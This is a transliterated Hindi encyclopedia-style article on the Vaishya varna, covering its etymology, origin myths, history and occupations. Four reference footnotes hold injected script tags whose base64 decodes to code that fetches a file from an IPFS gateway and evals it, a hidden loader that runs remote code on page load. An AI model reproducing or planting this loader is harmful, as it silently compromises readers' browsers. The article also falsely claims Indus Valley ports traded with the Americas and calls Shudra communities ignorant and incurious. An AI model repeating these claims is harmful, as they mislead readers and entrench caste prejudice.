वैश्य

	vaishy
	vaishy vyapari\|200px\|center
vivaran	'vaishy' bharat mean hinduoan ki jati vyavastha mean char varnoan mean se ek hai. kisan, pashupalak aur vyapari samuday is varn mean shamil haian.
desh	bharat
shabd utpatti	'vaishy' shabd vaidik 'vishh' se nikala hai.
arth	sanskrit se nikale is shabd ka mool arth hai- "basana".
karm	'yajan', 'adhyayan' aur 'pashupalan' tatha vriti krishi v vanijy.
vishesh	sindhu ghati ki sabhyata ka nirman tatha usaka prasar door-door ke deshoan tak vaishyoan dvara unake vyaparik karyoan ne kiya ya unaki vajah se hua.
sanbandhit lekh	varn vyavastha, brahman, kshatriy, shoodr, hindoo dharm
any janakari	vaidik kal mean praja matr ko vishh kahate the. par bad mean jab varn vyavastha huee, tab vanijy vyavasay aur gayoan ka palan adi karane vale log vaishy kahalane lage.

vaishy ka hianduoan ki varn vyavastha mean tisara sthan hai. is varn ke log mukhyat: vanijyik vyavasay aur krishi karate the. hianduoan ki jati vyavastha ke aantargat vaishy varnashram ka tisara mahattvapoorn stanbh hai. is varg mean mukhy roop se bharatiy samaj ke kisan, pashupalak, aur vyapari samuday shamil haian.

utpatti

'vaishy' shabd vaidik 'vishh' se nikala hai. arth ki drishti se 'vaishy' shabd ki utpatti sanskrit se huee hai, jisaka mool arth "basana" hota hai. manu ke 'manusmriti' ke anusar vaishyoan ki utpatti brahma ke udar yani pet se huee hai. jabaki kuchh any vicharoan ke anusar brahma ji se paida hone vale brahman, vishnu se paida hone vale vaishy, shankar se paida hone vale kshatriy kahalae; isaliye aj bhi brahman apani mata sarasvati, vaishy lakshmi, kshatriy maan durge ki pooja karate hai.

itihas

vaishy varn^[1] ka itihas janane ke pahale yah janana hoga ki vaishy shabd kahaan se aya? vaishy shabd vishh se aya hai. vishh ka arth hai- 'praja'. prachin kal mean praja (samaj) ko vishh nam se pukara jata tha. isake pradhan sanrakshak ko 'vishapati' (raja) kahate the, jo nirvachan se chuna jata tha.

manu maharaj ke char mukhy samajik varn shoodr, vaishy, kshatriy tatha brahman the, jinamean sabhyata ke vikas ke sath-sath naye vyavasay bhi kalantar ju date chale ge the. shoodroan ke akheti samudayoan mean anasikhiyoan ko bojha dhone ka kam diya jata tha. kalantar mean unhian mean se jab kuchh logoan ne krishi kshetr mean chhota-mota mazadoori karane ka kam sikha, to vah akhet ke badale krishi ka kam karane lag gaye. adhikatar aise logoan mean jijnasa ki kami, ajnanata tatha uttaradayitv sambhalane ke prati udasinata ki manasikata rahi. vah apani tatkalik avashyakataoan ki poorti ke alava kuchh aur sochane mean asamarth aur udasin rahe. unake bhitar vartalap karane ki simit kshamata thi, jis karan vah samuday ki vastuoan ka doosare samudayoan ke sath adan-pradan nahian kar sakate the.

dhire-dhire akheti samuday krishi apanane lage. samuday ke log krishi tatha krishi se ju de any vyavsay bhi sikhane lage. samuday ke logoan ne bhojan tatha vastr adi ki niji zarooratoan ki apoorti bhi krishi kshetr ke utpadakoan se karani shuru kar di thi. unhoanne krishi pradhan janavar palane shuroo kiye aur unako apani sampada mean shamil kar liya. shram ke badale janavaroan tatha krishi utpadakoan ka adan-pradan hone laga. manav samuday banjara jivan chho dakar krishi aur jal strotroan ke samip rahane lage. is prakar ka jivan adhik sukhaprad tha. jaise-jaise kshamata badhi, usi ke anusar naye krishak vyavasayi samuday ke pas shoodroan se adhik sadhan ate gaye aur vah ek hi sthan par tikakar sukhamay jivan bitane lage. ab unaka mukhy lakshy sansadhan jutana tatha unakothumb|left|250px|vaishy vyapari prayog mean lakar adhik sukh-sampada ekatrit karana tha. is vyavasay ko karane ke liye vyaparik soojhaboojh, vyavahar-kushalata, parivartanashilata, vakpatuta, jokhim uthane tatha sahane ki kshamata, dhairy, parishram tatha chaturata ki avashyakata thi.

jin logoan mean yah gun the ya jinhoanne aisi kshamata prapt kar li thi, vah vaishy varg mean pravesh kar gaye. vaishy krishi, pashupalan, utpadak vitaran tatha krishi sambandhi auzaroan ke rakharakhav tatha kray-vikray ka dhandha karane lage. unaka jivan shoodroan se adhik sukhamay ho gaya tatha unhoanne shoodroan ko anaj, vastr, rahavas adi ki suvidhayean dekar apani sahayata ke liye niji adhikar mean rakhana shuroo kar diya. is prakar sabhyata ke vikas ke sath jab anaj, vastr, rahavas adi ke badale shulk dene ki pratha vikasit hone lagi to usi ke sath hi ‘sevak’ vyavsay ka janm bhi hua. nissandeh samaj mean vaishyoan ka jivan star tatha samman shoodroan se uttam tha. aj sabhi deshoan mean vaishy ‘skild ’ ya prashikshashit varg ban gaya hai.^[2]

sindhu sabhyata se sambandh

sindhu ghati ki sabhyata ka nirman tatha prasar door-door ke deshoan tak vaishyoan ne kiya ya unaki vajah se hua hai. sindhu ghati ki sabhyata mean jo vishalakay bandaragah the, ve uttari amarika tatha dakshini amarika, yoorop ke alag-alag bhag tatha eshiya (jamboo dvip) adi se jahaz dvara vyapar tatha agaman ka kendr the.^[3]

vyavasay

vaidik kal mean praja matr ko vishh kahate the. par bad mean jab varn vyavastha huee, tab vanijy vyavasay aur gayoan ka palan adi karane vale log vaishy kahalane lage. inaka dharm yajan, adhyayan aur pashupalan tatha vriti krishi aur vanijy tha. ajakal adhikaansh vaishy prayah vanijy, vyavasay karake hi jivika nirvah karate haian. vaishy samaj mean vyapar se rozagar ke avasar pradan karata hai. samajik kary mean dan se samaj ki avashyakata ki poorti karata hai, jisase use samaj mean shuroo se hi vishisht sthan prapt hai.

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panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

bhattachary, sachchidanand bharatiy itihas kosh (hiandi). lakhanoo: uttarapradesh hiandi sansthan, 442.

↑ 'varn' shabd ka arth hai- "jisako varan kiya jae vo samuday."
↑ hindoo samaj ka gathan (hindi) hindoo mahasagar. abhigaman tithi: 27 march, 2015.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
↑ ham me dataval aur hamara vaishy vansh (hindi) jay maan phaladi.k aaum. abhigaman tithi: 27 march, 2015.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bahari k diyaan

sanbandhit lekh

varnamala kramanusar lekh khoj

a a i ee u oo e ai o au aan k kh g gh n ch chh j jh n t th d dh n t th d dh n p ph b bh m y r l v sh sh s h ksh tr jn rri rri aau shr aah

[1] 'varn' shabd ka arth hai- "jisako varan kiya jae vo samuday."

[2] samaj ka gathan (hindi) hindoo mahasagar. abhigaman tithi: 27 march, 2015.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[3] taval aur hamara vaishy vansh (hindi) jay maan phaladi.k aaum. abhigaman tithi: 27 march, 2015.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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